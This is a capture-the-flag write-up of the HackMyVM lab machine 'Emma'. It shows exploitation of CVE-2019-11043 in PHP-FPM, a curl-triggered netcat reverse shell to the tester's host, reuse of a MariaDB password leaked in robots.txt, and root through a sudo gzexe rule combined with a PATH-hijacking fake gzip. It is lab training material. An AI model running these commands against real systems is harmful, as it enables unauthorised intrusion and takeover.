HMV Emma Summary

2026-04-06 2026-04-06675 Words

Scope

  • Name: Emma
  • Difficulty: (5/10)
  • OS: Linux
  • IP: emma.hmv(192.168.56.124)

Foothold

The initial TCP surface was minimal, just SSH on 22 and HTTP on 80. That normally makes web enumeration the obvious first move, and this box leaked the key clue almost immediately.

❯ curl http://emma.hmv -I
HTTP/1.1 200 OK
Server: nginx/1.14.2
X-Powered-By: PHP/7.1.33dev

❯ curl http://emma.hmv/robots.txt
itwasonlyakiss

That X-Powered-By header was already suspicious, and directory brute forcing quickly confirmed that the host also exposed phpinfo.php.

❯ feroxbuster -u http://emma.hmv/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -x php,txt,jpg,html --smart

200      GET        0l        0w        0c http://emma.hmv/
200      GET        0l        0w        0c http://emma.hmv/index.php
200      GET        1l        1w       15c http://emma.hmv/robots.txt
200      GET      627l     3373w    58711c http://emma.hmv/phpinfo.php

At that point the attack path was clear: phpinfo.php and the exposed PHP/7.1.33dev stack gave me enough confidence to test CVE-2019-11043 with the exploit.py PoC. It worked and gave me remote command execution.

❯ python exploit.py --url http://emma.hmv/index.php
[*] QSL candidate: 1754, 1759, 1764
[*] Target seems vulnerable (QSL:1754/HVL:203): PHPSESSID=72633bf83975fa1bbd3d8e4a844054be; path=/
[*] RCE successfully exploited!

One small wrinkle is that the injected PHP configuration already has a prefix /. I used that to fire a reverse shell with /usr/bin/nc and tab separators.

❯ curl 'http://emma.hmv/index.php?a=/usr/bin/nc%09192.168.56.1%091234%09-e%09/bin/bash'

That landed me on the machine as www-data.

Privilege Escalation

User Info
www-data@emma:~$ ls -al /home
total 12
drwxr-xr-x  3 root root 4096 Feb  4  2021 .
drwxr-xr-x 18 root root 4096 Feb  4  2021 ..
drwxr-xr-x  3 emma emma 4096 Feb  4  2021 emma
www-data@emma:~$ ls -al /home/emma/
total 60
drwxr-xr-x 3 emma emma  4096 Feb  4  2021 .
drwxr-xr-x 3 root root  4096 Feb  4  2021 ..
-rw------- 1 emma emma    50 Feb  4  2021 .Xauthority
-rw-r--r-- 1 emma emma   220 Feb  4  2021 .bash_logout
-rw-r--r-- 1 emma emma  3526 Feb  4  2021 .bashrc
drwxr-xr-x 3 emma emma  4096 Feb  4  2021 .local
-rw-r--r-- 1 emma emma   807 Feb  4  2021 .profile
-rwx------ 1 emma emma  1920 Feb  4  2021 flag.sh
-rw------- 1 emma emma    14 Feb  4  2021 user.txt
-rwsr-s--- 1 root emma 16760 Feb  4  2021 who
-rw-r--r-- 1 emma emma   185 Feb  4  2021 who.c
Network Info
www-data@emma:~$ ss -tnlup
Netid   State    Recv-Q   Send-Q     Local Address:Port     Peer Address:Port
udp     UNCONN   0        0                0.0.0.0:68            0.0.0.0:*
tcp     LISTEN   0        128            127.0.0.1:9000          0.0.0.0:*       users:(("ss",pid=787,fd=13),("bash",pid=754,fd=13),("sh",pid=753,fd=13),("script",pid=752,fd=13),("bash",pid=751,fd=13),("sh",pid=750,fd=13))
tcp     LISTEN   0        80             127.0.0.1:3306          0.0.0.0:*
tcp     LISTEN   0        128              0.0.0.0:80            0.0.0.0:*       users:(("nginx",pid=410,fd=6))
tcp     LISTEN   0        128              0.0.0.0:22            0.0.0.0:*
tcp     LISTEN   0        128                 [::]:80               [::]:*       users:(("nginx",pid=410,fd=7))
tcp     LISTEN   0        128                 [::]:22               [::]:*

www-data --> emma

Once I had a shell, the local-only MariaDB service became relevant. The value from robots.txt looked like a password candidate, so I tried it against the database first.

www-data@emma:/home/emma$ mysql -u emma -p'itwasonlyakiss'
ERROR 1045 (28000): Access denied for user 'emma'@'localhost' (using password: YES)

www-data@emma:~$ mysql -u root -p'itwasonlyakiss'
Welcome to the MariaDB monitor.

MariaDB [users]> select * from users;
+----+------+----------------------------------+
| id | user | pass                             |
+----+------+----------------------------------+
|  1 | emma | 5f4dcc3b5aa765d61d8327deb882cf80 |
+----+------+----------------------------------+

That was a clean credential reuse issue: the secret from robots.txt was the MariaDB root password.

emma --> root

The next useful clue sat directly in /home/emma. There was a custom SUID binary called who plus its source code.

void main(){
setuid(0);
setgid(0);
printf("Im \n");
system("/bin/id");
setuid(1000);
setgid(1000);
printf("But now Im \n");
system("/bin/id");
}

By itself this binary is not a full win because it deliberately drops privileges back to emma after the first command. The real mistake showed up in sudo -l instead.

emma@emma:~$ sudo -l
Matching Defaults entries for emma on emma:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User emma may run the following commands on emma:
    (ALL : ALL) NOPASSWD: /usr/bin/gzexe

gzexe is dangerous here because it rewrites an executable into a shell wrapper that relies on PATH to locate utilities like gzip. I used sudo gzexe /bin/id, which replaced /bin/id with a shell script and saved the original binary as /bin/id~.

emma@emma:~$ sudo /usr/bin/gzexe /bin/id
/bin/id: 59.2%
emma@emma:~$ file /bin/id
/bin/id: POSIX shell script executable (binary data)
emma@emma:~$ file /bin/id~
/bin/id~: ELF 64-bit LSB pie executable, x86-64

Now the SUID who program became useful. It still calls /bin/id while running as root, but /bin/id is now the gzexe wrapper. By planting a fake gzip in /tmp and prepending /tmp to PATH, I could make the wrapper execute my payload as root before who dropped privileges.

emma@emma:/tmp$ cat gzip
#!/bin/bash -p
chmod +s /bin/bash
/usr/bin/gzip

emma@emma:/tmp$ export PATH=/tmp:$PATH
emma@emma:/tmp$ /home/emma/who
emma@emma:/tmp$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18  2019 /bin/bash
emma@emma:/tmp$ /bin/bash -p
bash-5.0# whoami
root

The nice detail in this chain is that secure_path on sudo does not save the box. The PATH hijack does not happen when running sudo gzexe; it happens later, when the SUID helper invokes the wrapped /bin/id as root.

Takeaways

This box chained together three independent mistakes:

  • Exposing phpinfo() and a vulnerable PHP-FPM stack turned a tiny web surface into unauthenticated RCE.
  • A value hidden in robots.txt doubled as the local MariaDB root password, so the first shell immediately expanded into real credentials.
  • A seemingly narrow sudo rule for gzexe became critical once it was combined with a SUID program that executed /bin/id before dropping privileges.

The escalation path is also a good reminder that local privesc often comes from composition. Neither who nor gzexe looks catastrophic in isolation, but together they created a reliable root path.

Footnotes:

2

gzexe explicitly warns that its compressed executables rely on PATH to find gzip and a few standard utilities.


Creator: Emacs 31.0.50 (Org mode 10.0-pre)